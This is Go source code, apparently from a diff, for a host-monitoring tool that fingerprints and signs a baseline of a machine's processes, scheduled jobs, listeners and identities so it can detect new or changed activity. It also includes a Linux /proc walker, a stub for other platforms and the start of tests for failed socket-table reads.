// baselineVersion is the domain prefix of every fingerprint, for the reason
// sanction.go:425-432 gives: a bump makes it arithmetically impossible for an
// entry hashed under new rules to collide with one hashed under the old, so
// "entries from before the change must not silently match" holds even if every
// other guard were removed by accident.
// BUMPED TO v2 BECAUSE THE ENTRIES CHANGED MEANING, not because the
// fingerprint rules did. A v1 accounting on Linux holds no model endpoints for
// any entry — the unfiltered walk never carried them (baselineWalk says why) —
// while a v2 walk does. The fingerprints still match, so nothing here would
// have caught it: every known process talking to a model would have reported
// `proc_changed [llm_endpoint]` at high, on every pass until somebody retook
// the accounting, with a sentence saying it had "started talking to a model"
// that was not true.
//
// The version is the mechanism that already exists for exactly this: the delta
// refuses to compare across it and asks for a retake in one sentence, instead
// of producing a page of findings that are all the same fact about a software
// upgrade (deltarun.go).
const baselineVersion = "privatae-baseline-v2"
// baselineEntry is one thing that was running, or scheduled to run, when the
// accounting was taken.
type baselineEntry struct {
FP string `json:"fp"`
Kind string `json:"kind"` // process | scheduler | listener
// What the fingerprint was computed from, kept so a later finding can say
// WHY two things differ instead of only that they do.
ExeDigest string `json:"exe_digest,omitempty"`
Exe string `json:"exe,omitempty"`
User string `json:"user,omitempty"`
Unit string `json:"unit,omitempty"`
ArgvShape string `json:"argv_shape,omitempty"`
// Descriptive, never fingerprinted: these are how a person reads the entry.
Signature string `json:"signature,omitempty"`
Origin string `json:"origin,omitempty"`
Endpoints []string `json:"llm_endpoints,omitempty"`
// DigestNote says why ExeDigest is empty when it is. An empty digest with
// no reason reads as "nothing to see"; it is usually "this box could not
// look", which is a different fact and the person is entitled to it.
DigestNote string `json:"digest_note,omitempty"`
}
// baselineFile is the accounting as it sits on disk.
type baselineFile struct {
Version string `json:"version"`
TakenAt string `json:"taken_at"`
// Machine is this box's own identity at the moment of the scan: the bastion
// binary's digest and the mode it was in. A baseline taken by a different
// binary is a different measurement and says so.
BastionDigest string `json:"bastion_digest,omitempty"`
BastionVersion string `json:"bastion_version,omitempty"`
Mode string `json:"mode,omitempty"`
// Coverage is which truth this file holds: "all-processes" where the
// platform has an unfiltered walk, "recognised-only" where it does not. A
// delta computed against a recognised-only baseline can only ever notice
// recognised things, and whoever reads this is entitled to know which one
// they have.
Coverage string `json:"coverage"`
Entries []baselineEntry `json:"entries"`
// Unreadable counts the processes this box could see but not identify —
// another user's, a handle it may not open. NOT an error and NOT zero-able:
// a baseline taken as one user is a smaller truth than one taken as root,
// and the number is how the reader knows which they are holding.
Unreadable int `json:"unreadable"`
// Digest covers every content field, so a baseline that has been edited on
// disk does not read as the one that was taken. It is the box's own quick
// integrity check and the key delta-state.json is filed under — NOT the
// proof of who took the measurement. That is Attestation.
Digest string `json:"digest"`
// Attestation is the signature block (baselinesign.go): the accounting
// signed with the anchor pairing's operator key, whose certificate the host
// issued and can verify against its CA and this machine's bound fingerprint.
// nil when nothing on this machine could sign, and UnsignedReason says why —
// "unsigned" must never be ambiguous between "this build cannot sign" and
// "this machine had no key that speaks for it".
Attestation *baselineAttestation `json:"attestation,omitempty"`
UnsignedReason string `json:"unsigned_reason,omitempty"`
}
// ── the fingerprint ─────────────────────────────────────────────────────────
// baselineFP is the stable identity of one entry.
func baselineFP(kind, exeDigest, user, unit, argvShape string) string {
sum := sha256.Sum256([]byte(baselineVersion + "\x00" + kind + "\x00" +
exeDigest + "\x00" + user + "\x00" + unit + "\x00" + argvShape))
return hex.EncodeToString(sum[:16])
}
// ── the argv shape ──────────────────────────────────────────────────────────
// Volatile fields, masked before the command line is fingerprinted. Each of
// these was chosen because it changes between two runs of the SAME program, so
// leaving it in would report a restart as something new.
var (
// A number on its own: ports, pids, worker indexes, generation counters.
reBaselineNum = regexp.MustCompile(`\b\d{2,}\b`)
// Hex runs of 8+: request ids, container ids, socket names, digests.
reBaselineHex = regexp.MustCompile(`\b[0-9a-fA-F]{8,}\b`)
// Anything under a temp root, to the first separator past it.
reBaselineTmp = regexp.MustCompile(`(?i)(/tmp/|/var/tmp/|/private/var/folders/|\\Temp\\)[^\s]*`)
// A UUID in any casing.
reBaselineUUID = regexp.MustCompile(`(?i)\b[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}\b`)
)
// baselineArgvShape masks the volatile parts of a command line.
//
// ORDER MATTERS AND IS NOT ARBITRARY: UUID before hex (a UUID's segments are
// hex and would be eaten piecemeal, producing a different shape depending on
// which ran first), temp paths before numbers (a temp path usually contains
// one), hex before numbers (a digest is digits often enough).
func baselineArgvShape(cmdline string) string {
s := strings.TrimSpace(cmdline)
if s == "" {
return ""
}
s = reBaselineUUID.ReplaceAllString(s, "<uuid>")
s = reBaselineTmp.ReplaceAllString(s, "$1<tmp>")
s = reBaselineHex.ReplaceAllString(s, "<hex>")
s = reBaselineNum.ReplaceAllString(s, "<n>")
return strings.Join(strings.Fields(s), " ")
}
// ── the exe digest ──────────────────────────────────────────────────────────
// baselineMaxDigest caps what this will read. A digest is of an executable, and
// an executable larger than this is not one — it is a data file something is
// pointing at, and reading it would turn an accounting pass into an IO storm.
const baselineMaxDigest = 512 << 20
// baselineExeDigest hashes the file the kernel says the process is running.
//
// The empty return is a NOTE, never an error: a box that cannot read another
// user's executable is the ordinary case for an unprivileged scan, and the
// baseline records how much it could see rather than refusing to exist.
func baselineExeDigest(exe string) (digest, note string) {
if strings.TrimSpace(exe) == "" {
return "", "the kernel supplied no path for this process"
}
fi, err := os.Stat(exe)
if err != nil {
return "", "could not be read by this account"
}
if !fi.Mode().IsRegular() {
return "", "is not a regular file"
}
if fi.Size() > baselineMaxDigest {
return "", fmt.Sprintf("is %d bytes, past the %d-byte cap for hashing an executable",
fi.Size(), int64(baselineMaxDigest))
}
f, err := os.Open(exe)
if err != nil {
return "", "could not be opened by this account"
}
defer f.Close()
h := sha256.New()
if _, err := io.Copy(h, f); err != nil {
return "", "could not be read to the end"
}
return hex.EncodeToString(h.Sum(nil)), ""
}
// ── taking the accounting ───────────────────────────────────────────────────
// baselineFromObservations turns one observe pass into baseline entries.
//
// It takes the observations rather than scanning itself, so that the baseline
// and the per-heartbeat report can never disagree about what is running: they
// read the same plane (agents.go scanAgents), and a delta computed against a
// baseline built from a DIFFERENT scanner would be measuring the two scanners
// against each other.
func baselineFromObservations(obs []agentObs, digestOf func(string) (digest, note string)) ([]baselineEntry, int) {
out := make([]baselineEntry, 0, len(obs))
unreadable := 0
seen := map[string]bool{}
at := map[string]int{} // fingerprint -> index in out
for _, a := range obs {
e := baselineEntryOf(a, digestOf)
if e.ExeDigest == "" {
unreadable++
}
// One ENTRY per distinct fingerprint, not one per pid. Four workers of
// the same service are one fact about this machine; recording them
// four times would make a baseline that grows every restart.
if seen[e.FP] {
// THE ENDPOINTS OF EVERY PROCESS BEHIND THAT FINGERPRINT, UNIONED.
// This kept the FIRST pid's and dropped the rest, while the delta's
// live side unioned them — so four workers of one service, with only
// the fourth talking to a model, recorded no endpoint at baseline and
// then reported `proc_changed[llm_endpoint]` at high on an unchanged
// machine, every pass until the accounting was retaken. Two sides
// of one comparison have to aggregate the same way or the comparison
// measures the aggregation.
if i, ok := at[e.FP]; ok {
out[i].Endpoints = unionStrings(out[i].Endpoints, e.Endpoints)
}
continue
}
seen[e.FP] = true
at[e.FP] = len(out)
out = append(out, e)
}
sort.Slice(out, func(i, j int) bool { return out[i].FP < out[j].FP })
return out, unreadable
}
// baselineWalk is the ONE way this plane looks at the machine — the unfiltered
// process walk where the platform has one, the signature-filtered plane where
// it does not, and in both cases with the model endpoints attached.
//
// THE ENDPOINTS WERE MISSING FROM THE UNFILTERED WALK, WHICH MADE THE WHOLE
// MODEL SIGNAL DEAD ON LINUX — the one platform that has the full walk.
// baselineAllProcesses reads /proc for pid, user, argv, exe,
// unit and parent (baseline_all_linux.go:57-70) and nothing else; only
// scanAgents resolves connections to inference endpoints (agents.go:265-277).
// So both sides of every comparison held an empty endpoint list, and the two
// rules that rest on it — `proc_changed[llm_endpoint]`, and "a new process WITH
// a model endpoint is high" — could not fire on the boxes that matter most.
// Measured here: 0 live entries carrying an endpoint, against 4 observations
// that had one.
//
// The endpoints come from the observe plane rather than being re-derived, for
// the reason baselineFromObservations gives about scanners: two planes that
// answer the same question differently turn every comparison into a comparison
// of the planes. Measured cost of the extra pass: 21-23 ms warm.
//
// The error is the walk NOT happening — the filtered plane failed — and it is
// a third answer, not a flavour of the other two: `complete=false` with no
// error means "this platform has no unfiltered walk, the recognised-only plane
// was used", which is a real accounting with a true coverage label. A failed
// walk returned as `complete=false` would have been SAVED under that label
// with every process inside it (baselineCoverage reads only the bool), and a
// later blind pass would then have read the accounting as scope-agreeing and
// closed findings it never looked at (machinestore.go storeScopeAgrees). So
// the callers get the error and refuse: no accounting, no comparison.
//
// baselineAllProcessesFn is the seam a test uses to stand on the
// recognised-only platforms from linux; production never reassigns it.
var baselineAllProcessesFn = baselineAllProcesses
func baselineWalk() ([]agentObs, bool, error) {
obs, complete := baselineAllProcessesFn()
if !complete {
// The filtered plane already carries its own endpoints — it is where
// they come from — so there is nothing to attach.
agents, err := scanAgents()
if err != nil {
return nil, false, err
}
return agents, false, nil
}
agents, err := scanAgents()
if err != nil {
return nil, false, err
}
byPID := map[int][]string{}
for _, a := range agents {
if len(a.LLMEndpoints) > 0 {
byPID[a.PID] = a.LLMEndpoints
}
}
return baselineAttachEndpoints(obs, byPID), true, nil
}
// baselineAttachEndpoints is the join, by pid. Split out so the wiring is
// testable without a machine that happens to be talking to a model right now.
func baselineAttachEndpoints(obs []agentObs, byPID map[int][]string) []agentObs {
if len(byPID) == 0 {
return obs
}
for i := range obs {
if eps, ok := byPID[obs[i].PID]; ok {
obs[i].LLMEndpoints = eps
}
}
return obs
}
// baselineEntryOf turns ONE observation into an entry. It is split out because
// the delta needs the entry for a single process while keeping the pid that
// produced it (delta.go), and the one thing the delta may never do is build its
// entries differently from the accounting it compares them against — a
// fingerprint computed by two functions is a fingerprint that will drift, and
// the whole plane rests on "have I seen this before?" meaning one thing.
//
// The digest function is a parameter for the same reason: the accounting hashes
// every executable fresh, the per-beat delta reads through a cache
// (deltacache.go), and a caller cannot get the ANSWER to differ — only how long
// it took to arrive.
func baselineEntryOf(a agentObs, digestOf func(string) (digest, note string)) baselineEntry {
digest, note := digestOf(a.Exe)
shape := baselineArgvShape(a.Cmdline)
unit := baselineUnitOf(a)
return baselineEntry{
FP: baselineFP("process", digest, a.User, unit, shape),
Kind: "process",
ExeDigest: digest,
Exe: a.Exe,
User: a.User,
Unit: unit,
ArgvShape: shape,
Signature: a.Signature,
Origin: a.Origin,
Endpoints: a.LLMEndpoints,
DigestNote: note,
}
}
// baselineUnitOf is what OWNS a process.
//
// THE FIRST VERSION OF THIS COMMENT OVERSTATED THE COST of doing it properly
// and used that to justify not doing it. It said adding the real unit meant
// "a change to the scanners" — true on darwin and windows, where
// procFacts.Unit is never populated, and false on linux, where origin_linux.go
// already reads the cgroup into it and the classifier throws it away
// afterwards. Carrying it onto agentObs was a handful of
// lines, so it is carried.
func baselineUnitOf(a agentObs) string {
// The REAL owning unit when the platform supplies one. On linux that is the
// systemd slice/unit read from the process's cgroup — two different
// services are then told apart by their unit rather than both reading
// "service" and relying on digest and argv alone.
if a.Unit != "" {
return a.Unit
}
// Darwin and windows never populate it, so those fall back to HOW the thing
// started. Weaker, and named as such rather than papered over.
if a.Origin == "" {
return "unknown"
}
return a.Origin
}
// baselineFromSchedulers turns the standing jobs into baseline entries.
//
// SCHEDULED WORK IS PART OF WHAT IS NORMAL, and leaving it out was a real
// under-scope: the accounting is meant to hold the standing jobs — cron,
// systemd timers, launchd, scheduled tasks, with the command each would run —
// and baselineEntry.Kind has always documented `process | scheduler | listener`
// while only processes were ever recorded. A cron job added after the baseline
// would have been outside the vocabulary the delta compares against — invisible
// to the thing built to notice new work.
//
// A scheduler entry is fingerprinted on what it WOULD RUN, not on a running
// process: there is no pid and usually no exe to digest until it fires. The
// command's argv shape carries the meaning, and the schedule is deliberately
// NOT in the fingerprint — changing WHEN a known job runs is a different event
// from a new job appearing, and the delta should be able to say which.
func baselineFromSchedulers(entries []schedEntry) []baselineEntry {
out := make([]baselineEntry, 0, len(entries))
seen := map[string]bool{}
for _, e := range entries {
b := baselineEntryOfSched(e)
if seen[b.FP] {
continue
}
seen[b.FP] = true
out = append(out, b)
}
sort.Slice(out, func(i, j int) bool { return out[i].FP < out[j].FP })
return out
}
// baselineEntryOfSched turns ONE standing job into an entry — split out beside
// baselineEntryOf, and for the same reason: the delta builds the live side from
// it, so the two sides of every comparison come from one constructor.
func baselineEntryOfSched(e schedEntry) baselineEntry {
// The signature when the command is recognised — a PROPERTY, never a
// condition for being recorded. An unrecognised standing job is the
// interesting one.
if e.Signature == "" {
if sig, auto, ok := classifySchedCommand(e.Command); ok {
e.Signature, e.Automation = sig, auto
}
}
shape := baselineArgvShape(e.Command)
return baselineEntry{
FP: baselineFP("scheduler", "", e.User, e.Kind+":"+e.Name, shape),
Kind: "scheduler", User: e.User,
Unit: e.Kind + ":" + e.Name, ArgvShape: shape,
Signature: e.Signature,
DigestNote: "a scheduled job is recorded by what it would run; there is no " +
"executable to digest until it fires",
}
}
// ── the file ────────────────────────────────────────────────────────────────
func baselinePath() (string, error) {
d, err := configDir()
if err != nil {
return "", err
}
return filepath.Join(d, "baseline.json"), nil
}
// baselineDigestOf covers every field except Digest itself.
func baselineDigestOf(f baselineFile) (string, error) {
f.Digest = ""
// The attestation is derived from the content and must not be part of what
// it attests; the unsigned reason is provenance metadata, not content.
f.Attestation = nil
f.UnsignedReason = ""
b, err := json.Marshal(f)
if err != nil {
return "", err
}
sum := sha256.Sum256(append([]byte(baselineVersion+"\x00"), b...))
return hex.EncodeToString(sum[:]), nil
}
// baselineIntegrityNote says what a FAILED digest check means, which is not one
// thing.
//
// baselineDigestOf prefixes with the CURRENT baselineVersion, so every file
// taken under older rules recomputes to a different digest — not because
// anything touched it, but because the constant moved. Both places that report
// this said "it has been changed since it was taken", which after the v2 bump
// would have been false on every machine holding an accounting, and alarming in
// the one place a person goes to check whether their machine has been tampered
// with.
//
// One function, so the two call sites cannot drift about it again.
func baselineIntegrityNote(f *baselineFile, digestOK bool) string {
if f == nil || digestOK {
return ""
}
if f.Version != baselineVersion {
return "this accounting was taken as " + f.Version + " and this bastion fingerprints " +
"as " + baselineVersion + ", so its digest cannot match — it needs to be taken " +
"again. That is the rules moving, NOT evidence that anything edited it"
}
return "this file no longer matches its own digest — it has been changed since it was taken"
}
func baselineSave(f baselineFile) error {
d, err := baselineDigestOf(f)
if err != nil {
return err
}
f.Digest = d
// Sign with the key that speaks for this machine, or record exactly why
// none does — including a pairing that holds no key at all, which is a
// REASON, not a failure. A signing FAILURE (a key present but unreadable)
// is an error: the accounting must not be written as unsigned when it was
// meant to be signed, because the two are indistinguishable to a reader.
f.Attestation, f.UnsignedReason = nil, ""
if cfgs, lErr := loadPairings(); lErr != nil {
f.UnsignedReason = "pairings unreadable: " + lErr.Error()
} else if signer, why := baselineSignerPairing(cfgs); signer == nil {
f.UnsignedReason = why
} else if sErr := baselineSign(&f, signer); sErr != nil {
return fmt.Errorf("the accounting could not be signed: %w", sErr)
}
b, err := json.MarshalIndent(f, "", " ")
if err != nil {
return err
}
p, err := baselinePath()
if err != nil {
return err
}
if err := os.MkdirAll(filepath.Dir(p), 0o700); err != nil {
return err
}
if err := os.WriteFile(p, b, 0o600); err != nil {
return err
}
// Re-chmod for the reason loadOrCreateUISecret does (uiauth.go:108-111):
// os.WriteFile applies its mode only on CREATE, so a file written once
// under a loose umask keeps those permissions for ever.
_ = os.Chmod(p, 0o600)
// The store copy is what the host verifies. Written AFTER the state-dir
// copy so a failure here leaves the machine with a valid accounting and a
// stale mirror rather than the reverse; the error still surfaces.
if err := baselineMirror(b); err != nil {
return fmt.Errorf("the accounting was written but could not be mirrored into the machine store: %w", err)
}
return nil
}
// baselineLoad reads the accounting and reports whether it still matches its
// own digest. A mismatch is returned WITH the file rather than instead of it:
// the caller needs to be able to say "this was edited" and still show what it
// says, which is more useful than refusing to open it.
func baselineLoad() (*baselineFile, bool, error) {
p, err := baselinePath()
if err != nil {
return nil, false, err
}
b, err := os.ReadFile(p)
if err != nil {
return nil, false, err
}
var f baselineFile
if err := json.Unmarshal(b, &f); err != nil {
return nil, false, fmt.Errorf("the baseline on this machine cannot be read: %w", err)
}
want, err := baselineDigestOf(f)
if err != nil {
return nil, false, err
}
return &f, want == f.Digest, nil
}
// baselineNarrowNote is what the last collectBaseline could not read. A package
// var rather than a return value because collectBaseline's signature is already
// four values wide and this is for one printer.
var baselineNarrowNote string
// baselineCoverage names which truth a baseline holds, FOR EACH HALF.
//
// One word was not enough: the file read "all-processes" while the scheduler
// half was still recognised-only, which told a reader the opposite of the truth
// about the half that mattered for persistence.
// Four halves, and the two added later report `unsupported` rather than
// `recognised-only`, because that is a different fact. A scheduler half that
// is recognised-only DID look and saw a filtered subset; a listener half on
// macOS did not look at all. A delta against the first can report a narrow
// truth; against the second it must report that it cannot see the class.
func baselineCoverage(allProcs, allSched, listeners, identities bool) string {
p, s := "recognised-only", "recognised-only"
if allProcs {
p = "all"
}
if allSched {
s = "all"
}
l, i := "unsupported", "unsupported"
if listeners {
l = "all"
}
if identities {
i = "login-shells"
}
return "processes=" + p + ",schedulers=" + s + ",listeners=" + l + ",identities=" + i
}
// baselineCoverageRead marks a class `unread` rather than `unsupported` when
// this platform CAN read it and the reader failed while the accounting was
// being taken (`ss` missing or failing, the account database unreadable). The
// two mean different things to whoever reads the line: `unsupported` is a
// platform that never compares the class, and retaking changes nothing;
// `unread` is an accounting that missed a class it could have held, and
// fixing the access and retaking adds it.
func baselineCoverageRead(coverage string, listenersUnread, identitiesUnread bool) string {
if listenersUnread {
coverage = strings.Replace(coverage, "listeners=unsupported", "listeners=unread", 1)
}
if identitiesUnread {
coverage = strings.Replace(coverage, "identities=unsupported", "identities=unread", 1)
}
return coverage
}
// baselineHasClass answers whether a coverage line says a class was actually
// looked at. deltaPass uses it to decide which classes it may report on, so a
// baseline taken where a reader was blind can never produce "this machine has
// no listeners" out of an absence of entries.
func baselineHasClass(coverage, class string) bool {
for _, part := range strings.Split(coverage, ",") {
k, v, ok := strings.Cut(part, "=")
if ok && k == class {
return v != "unsupported" && v != "unread" && v != ""
}
}
// A coverage line written before this class existed says nothing about it,
// which is the case deltaComparableClasses reports: not looked at.
return false
}
// ── the op ──────────────────────────────────────────────────────────────────
// cmdObserveBaseline takes the accounting and writes it.
//
// ROOT, for the same reason claim-anchor is: a baseline taken by one user
// records only that user's view of the machine, and a detection story built on
// a partial accounting reports every other account's ordinary work as new. The
// refusal names what a non-root run would miss instead of only saying no.
// collectBaseline builds the accounting. Split out of cmdObserveBaseline so a
// test can hold THE WIRING — which source the baseline is built from — and not
// only that two sources differ. A mutation that pointed this back at the
// signature-filtered plane passed a test that compared the two functions
// directly, because nothing exercised the choice between them.
func collectBaseline() (baselineFile, int, int, bool, error) {
// EVERYTHING, where the platform can walk it. A baseline built from the
// signature-filtered plane could only ever contain things already
// recognised as agents, which makes "not baseline" unable to mean the one
// thing it has to mean (baseline_all_linux.go says the rest).
obs, complete, err := baselineWalk()
if err != nil {
// REFUSED, not taken blind. An accounting built from a walk that did
// not happen would record nothing as normal and be labelled as if it
// had looked; the user is told to run it again.
return baselineFile{}, 0, 0, false, fmt.Errorf("no baseline taken: the process walk "+
"failed (%v). An accounting from a walk that did not happen would record "+
"nothing as normal here; run it again", err)
}
// Fresh digests, never the delta's cache: taking an accounting is the one
// act that defines what everything afterwards is compared against, and it
// happens once per machine. It pays full price on purpose.
entries, unreadable := baselineFromObservations(obs, baselineExeDigest)
// THE UNFILTERED INVENTORY, for the same reason the processes are.
// scanSchedulers() returns matchScheduled(), which keeps only entries that
// would run a RECOGNISED agent or automation (schedulers.go:387-398).
// Measured on this box: 68 standing jobs discovered, 0 surviving that
// filter — so the baseline recorded "0 scheduled jobs" while 68 existed,
// and a post-baseline cron job running an unrecognised command, which is
// the canonical persistence move, would never have been compared against
// anything. Same defect as the process half, in the half that was
// missed the first time.
rawSched, schedKinds, schedSupported := platformSchedulers()
sched := rawSched
schedScan := schedScanReport{Supported: schedSupported, Kinds: schedKinds,
Entries: len(rawSched)}
entries = append(entries, baselineFromSchedulers(sched)...)
// LISTENERS AND IDENTITIES, the two classes added after the first two. Both go through
// the same constructors the live scan uses, for the reason
// deltaCollectLiveFrom gives at length: the one defect this plane has
// already shipped twice is the accounting and the live scan folding the
// same observations differently.
socks, listenersOK, listenerWhy := deltaListenerReader()
if listenersOK {
le, _ := baselineFromListeners(socks)
entries = append(entries, le...)
}
ids := deltaIdentityReader()
if ids.Supported {
entries = append(entries, baselineFromIdentities(ids.Accounts)...)
}
// WHAT THIS ACCOUNTING COULD NOT SEE, SAID WHILE IT IS BEING TAKEN. Only
// the delta surfaced these, which is the wrong moment: taking the
// accounting is the act that defines normal, so somebody doing it with
// sudoers unreadable should be told THEN, not on a later pass.
var narrow []string
if !listenersOK && listenerWhy != "" {
narrow = append(narrow, "listeners: "+listenerWhy)
}
if !ids.Supported && ids.Reason != "" {
narrow = append(narrow, "identities: "+ids.Reason)
} else if ids.Partial != "" {
narrow = append(narrow, "identities: "+ids.Partial)
}
baselineNarrowNote = strings.Join(narrow, "; ")
sort.Slice(entries, func(i, j int) bool { return entries[i].FP < entries[j].FP })
return baselineFile{
Version: baselineVersion,
TakenAt: time.Now().UTC().Format(time.RFC3339),
BastionDigest: selfDigest(),
BastionVersion: clientVersion,
Mode: boxMode(),
Coverage: baselineCoverageRead(baselineCoverage(complete, schedSupported, listenersOK, ids.Supported),
!listenersOK && listenersReadableHere, !ids.Supported && identitiesReadableHere),
Entries: entries,
Unreadable: unreadable,
}, len(obs), len(sched), schedScan.Supported, nil
}
func cmdObserveBaseline(force bool) error {
if err := requireMachineAuthority("observe:baseline"); err != nil {
return err
}
if prev, ok, err := baselineLoad(); err == nil && !force {
state := "taken " + prev.TakenAt
if note := baselineIntegrityNote(prev, ok); note != "" {
state += " (" + note + ")"
}
return fmt.Errorf("this machine already has a baseline, %s, with %d entries.\n"+
"Taking a new one REPLACES what counts as normal here, so anything added since "+
"becomes part of the baseline and stops being reported.\n"+
"Run `privatae-bastion observe:baseline --force` if that is what you mean",
state, len(prev.Entries))
}
f, seen, schedCount, schedOK, err := collectBaseline()
if err != nil {
return err
}
if err := baselineSave(f); err != nil {
return err
}
what := "every process this account can see"
if !strings.Contains(f.Coverage, "processes=all") {
what = "the automated programs this platform's scanner recognises — NOT every " +
"process, so a program it does not recognise is absent from this baseline " +
"and a new one will not be reported"
}
p, _ := baselinePath()
fmt.Printf("baseline taken: %d entries from %d observations (%s) and %d scheduled jobs",
len(f.Entries), seen, what, schedCount)
if f.Unreadable > 0 {
fmt.Printf(", %d of them without a readable executable", f.Unreadable)
}
if !schedOK {
fmt.Printf("\n NOTE: this platform's schedulers could not be read, so standing " +
"jobs are NOT in this baseline and a new one will not be reported")
}
if baselineNarrowNote != "" {
// BEFORE THE "written to" LINE, because this is the sentence that
// decides whether the person should take it again.
fmt.Printf("\nTHIS ACCOUNTING IS NARROWER THAN IT LOOKS: %s\n"+
"Whatever this machine could not read is not in what it now calls normal,\n"+
"so a change to it will not be reported. Fix the access and take it again.\n",
baselineNarrowNote)
}
saved, _, lErr := baselineLoad()
switch {
case lErr != nil:
fmt.Printf("\nwritten to %s\n", p)
case saved.Attestation != nil:
fmt.Printf("\nwritten to %s, signed by %s's pairing key and mirrored into the machine store\n",
p, saved.Attestation.SignedBy)
default:
fmt.Printf("\nwritten to %s, UNSIGNED: %s\n", p, saved.UnsignedReason)
}
return nil
}
// cmdObserveBaselineShow prints what this machine currently calls normal.
func cmdObserveBaselineShow() error {
f, ok, err := baselineLoad()
if errors.Is(err, os.ErrNotExist) {
return errors.New("this machine has no baseline yet — `privatae-bastion observe:baseline` " +
"takes one (as an administrator)")
}
if err != nil {
return err
}
fmt.Printf("baseline taken %s by bastion %s, mode %s\n", f.TakenAt, f.BastionVersion, f.Mode)
if note := baselineIntegrityNote(f, ok); note != "" {
fmt.Printf("WARNING: %s\n", note)
}
// Provenance, judged the way the host judges it. Three lines a reader can
// get: verified (and by whom), signed-but-failing (and which test failed),
// or unsigned (and the reason the file itself records).
switch {
case f.Attestation != nil:
if n := baselineAttestationNote(f); n != "" {
fmt.Printf("WARNING: attestation: %s\n", n)
} else {
fmt.Printf("signed by %s's pairing key; verified against its CA and this machine's fingerprint\n",
f.Attestation.SignedBy)
}
case f.UnsignedReason != "":
fmt.Printf("unsigned: %s\n", f.UnsignedReason)
default:
fmt.Printf("unsigned: taken by a bastion that did not sign accountings\n")
}
fmt.Printf("%d entries", len(f.Entries))
if f.Unreadable > 0 {
fmt.Printf(", %d without a readable executable (a baseline taken without "+
"administrator rights sees less)", f.Unreadable)
}
fmt.Println()
for _, e := range f.Entries {
who := e.Signature
if who == "" {
who = "(unnamed)"
}
d := e.ExeDigest
if d == "" {
d = "no digest: " + e.DigestNote
} else {
// shortDigest, not d[:12]. THIS PANICKED on any digest shorter than
// twelve characters — which a real sha256 never is, and a
// hand-edited or truncated file very much can be. So the one
// command for inspecting an accounting you suspect of having been
// tampered with crashed on exactly the file you would run it
// against. Found by a test written for something else entirely.
d = shortDigest(d)
}
fmt.Printf(" %s %-20s %-10s %s\n", e.FP, who, e.User, d)
}
return nil
}
+74
View File
@@ -0,0 +1,74 @@
//go:build linux
package main
// Every process, not only the ones a signature table already recognises.
//
// THE DEFECT THIS FIXES DEFEATED THE FEATURE. The baseline is meant to walk
// the box and account for every pid. It was built from
// scanAgents(), which is signature-FILTERED — it returns a known agent binary,
// an interpreter-wrapped agent, or a process caught talking to a model
// (agents.go:248-252). So the accounting of "what is normal here" contained
// only things already recognised as agents.
//
// Follow that through and the whole detection story collapses: a brand-new
// unknown binary — precisely the rogue process the product exists to catch — is
// not in the baseline, and the delta built on that baseline would never compare
// against it either. The baseline has to hold EVERYTHING so that "not baseline"
// can mean something; what a process IS stays a property recorded on the entry,
// never a condition for being recorded at all.
//
// Found while answering a narrower review question (schedulers missing
// from a baseline whose own Kind field documented them).
import (
"os"
"strconv"
"strings"
)
// baselineAllProcesses returns one observation per live process, unfiltered.
// The fields are the ones the fingerprint needs and nothing more.
func baselineAllProcesses() ([]agentObs, bool) {
entries, err := os.ReadDir("/proc")
if err != nil {
return nil, false
}
facts := procFactsReader()
self := os.Getpid()
out := make([]agentObs, 0, 256)
for _, e := range entries {
if !e.IsDir() {
continue
}
pid, err := strconv.Atoi(e.Name())
if err != nil || pid == self {
continue
}
raw, err := os.ReadFile("/proc/" + e.Name() + "/cmdline")
if err != nil || len(raw) == 0 {
// A kernel thread has an empty cmdline. It is not a program anybody
// installed and it cannot be a rogue agent; excluding it keeps the
// baseline about userland without needing a name list.
continue
}
argv := splitNul(raw)
full := strings.Join(argv, " ")
a := agentObs{
PID: pid, User: procUser(pid), Cmdline: truncate(full, 200),
Exe: procExe(pid), raw: full,
}
if f, ok := facts(pid); ok {
a.Unit = f.Unit
a.PPID = f.PPID
}
// The signature when there IS one, as a PROPERTY of the entry. An
// unrecognised process is still recorded; it simply has no signature,
// which is itself the interesting fact about it.
if sig, auto, ok := matchSignature(argv); ok {
a.Signature, a.automation = sig, auto
}
out = append(out, a)
}
return out, true
}
+14
View File
@@ -0,0 +1,14 @@
//go:build !linux
package main
// Darwin and Windows do not have an unfiltered walk here yet, and the baseline
// SAYS SO rather than quietly recording less (see cmdObserveBaseline). On those
// platforms the accounting covers what the observe plane recognises, which is a
// smaller truth than "every process" and is named as such in the output and in
// the file.
//
// The walks exist — agents_darwin.go's psSweep and agents_windows.go's
// Toolhelp32 snapshot both enumerate everything before filtering — so this is a
// refactor of those two rather than new platform work.
func baselineAllProcesses() ([]agentObs, bool) { return nil, false }
+387
View File
@@ -0,0 +1,387 @@
//go:build linux
package main
// Each defect found in the listener and identity classes, pinned. Each test name is the false
// sentence the machine used to be able to produce.
import (
"os"
"path/filepath"
"strings"
"testing"
"time"
)
// `ss` installed and exiting non-zero produced Supported=true with an empty
// table, and 54 of 54 listeners reported gone on a machine where every one was
// up — with no note.
func TestAFailedSocketReadIsBlindNotEmpty(t *testing.T) {
// THE REAL listenerScan, through the real report shape. The first version
// of this test reimplemented the branch inline and a mutation proved it
// tested a copy: breaking listenerScan left the suite green.
withSockets(t, socketsReport{Supported: true, Failed: "tcp: exit status 1"})
if _, ok, why := listenerScan(); ok {
t.Error("a failed ss reads as a readable table")
} else if !strings.Contains(why, "could not be read") {
t.Errorf("the reason %q does not say the box could not look", why)
}
// A half table is refused too, and for a reason listenerScan states: a
// partial read must not become the definition of normal.
withSockets(t, socketsReport{Supported: true, Partial: "udp: timeout",
Sockets: []listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)}})
if _, ok, _ := listenerScan(); ok {
t.Error("half a socket table reads as a whole one")
}
// And a good read still works, or the two above pass on a broken reader.
withSockets(t, socketsReport{Supported: true,
Sockets: []listenSocket{sock("tcp", "0.0.0.0", 22, "sshd", 1)}})
if got, ok, _ := listenerScan(); !ok || len(got) != 1 {
t.Errorf("a clean socket table read as unusable: ok=%v n=%d", ok, len(got))
}
// THE SHORT-LIVED RULE'S EXEMPTION USES THE SAME TABLE, and an exemption
// that cannot be checked is not an exemption.
withSockets(t, socketsReport{Supported: true, Failed: "tcp: exit status 1"})
if _, ok := deltaListeningPIDs(); ok {
t.Error("deltaListeningPIDs accepted a failed socket table")
}
// And the guard then refuses to compare the class, in BOTH directions.
known, _ := baselineFromListeners([]listenSocket{
sock("tcp", "0.0.0.0", 22, "sshd", 1),
